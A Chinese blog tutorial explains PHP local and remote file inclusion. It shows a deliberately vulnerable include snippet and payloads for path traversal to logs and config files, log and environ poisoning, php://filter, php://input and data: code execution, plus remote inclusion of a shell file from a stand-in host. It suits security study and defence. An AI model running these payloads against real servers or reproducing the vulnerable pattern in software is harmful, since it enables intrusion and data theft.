php文件包含漏洞

 Von's Blog     2019-09-13   2607 words    & views

简介

在通过php的函数引入文件时,由于对传入的文件名没有进行有效的验证,进而导致了漏洞的产生。
常见的文件包含函数有以下几个

include()   \\执行到include时才包含文件找不到被包含文件时只会产生警告脚本将继续执行
require()  \\只要程序一运行就包含文件找不到被包含文件时会产生致命错误并停止脚本执行
include_once()  \\若文件中代码已被包含则不会再次被包含
require_once()  \\若文件中代码已被包含则不会再次被包含

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。测试代码:

<?php
	$file = $_GET['file'];
	include $file;
?>

在同目录下有个1.txt,其内容为<? phpinfo(); ?>。则只需要访问:
233.php?file=1.txt,即可访问到phpinfo界面。 而如果包含非PHP语法规范源文件时,将会暴露其源代码。 从上面这个例子我们可以看出,PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

漏洞分类

本地文件包含(LFI)

包含日志

日志文件污染是通过将注入目标系统的代码写入到日志文件中。通常,访问目标系统上的某些对外开放的服务时,系统会自动将访问记录写入到日志文件中,利用这个机制,有可能会将代码写入到日志中。例如,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:www.xxx.com<?phpinfo();?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

注意 (1)除了我们包含 access.log 以外,我们还可以制造错误,然后包含 error.log (2)如果出现包含不成功的情况,很有可能就是被 open_base_dir() 限制了 (3)实战中最好在凌晨的时候进行包含,要不然日志太大包含会失败 (4)除了 apache 和 nginx 的日志 还有很多其他的日志我们能利用,比如说 ssh 的日志

常见的路径还有以下这些:

?file=.htaccess    //包含同目录下的文件
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db    //linux中这两个文件储存着所有文件的路径,需要root权限
?file=../../../../../../../../../var/log/apache/error.log    //包含错误日志
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf    //获取web目录或者其他配置文件
?file=../attachment/media/xxx.file    //包含上传的附件

包含environ

利用条件:

php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读

Apache在/proc/self/environ(环境变量)中存储各种值,例如访问者IP地址,用户代理,调用的脚本以及其他值。然后和包含日志一样,在User-agent修改成payload.

php伪协议

php://filter

通常情况下,当我们去包含php源码的时候,源码会被解析,我们就看不到源码了,这时候就可以利用读文件的方式读取到php源码。 常用句式:?file=php://filter/read=convert.base64-encode/resource=xxx.php,也可以用index.php?file=php://filter/convert.base64-encode/resource=index.php,效果和前面一样,只是没有read关键字,在绕过一些waf或许有用。 注意:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
alow_url_include:off/on

php://input

可以访问原始数据的只读流(这个原始数据指的是POST数据),将post请求中的数据作为php代码执行。
利用条件:allow_url_include = On

index.php
?file=php://input
POST:
<? phpinfo();?>

data:URI schema

利用条件:

php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On

主要有以下两种利用方法:

index.php?file=data:text/plain,<?php phpinfo();?>

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>

远程文件包含(RFI)

需要allow_url_fopen=On并且allow_url_include=On才能进行远程文件包含。 常见利用方法:

?file=[http|https|ftp]://example.com/shell.txt

写在最后

写到这里实在是太困了,而且这几天状态也不是很好,很多东西还没有讲。唉,有机会下次补齐吧(咕咕咕)

参考文章

天师的文章
琪琪师傅的文章
panda1g1师傅的文章
Chybeta师傅的文章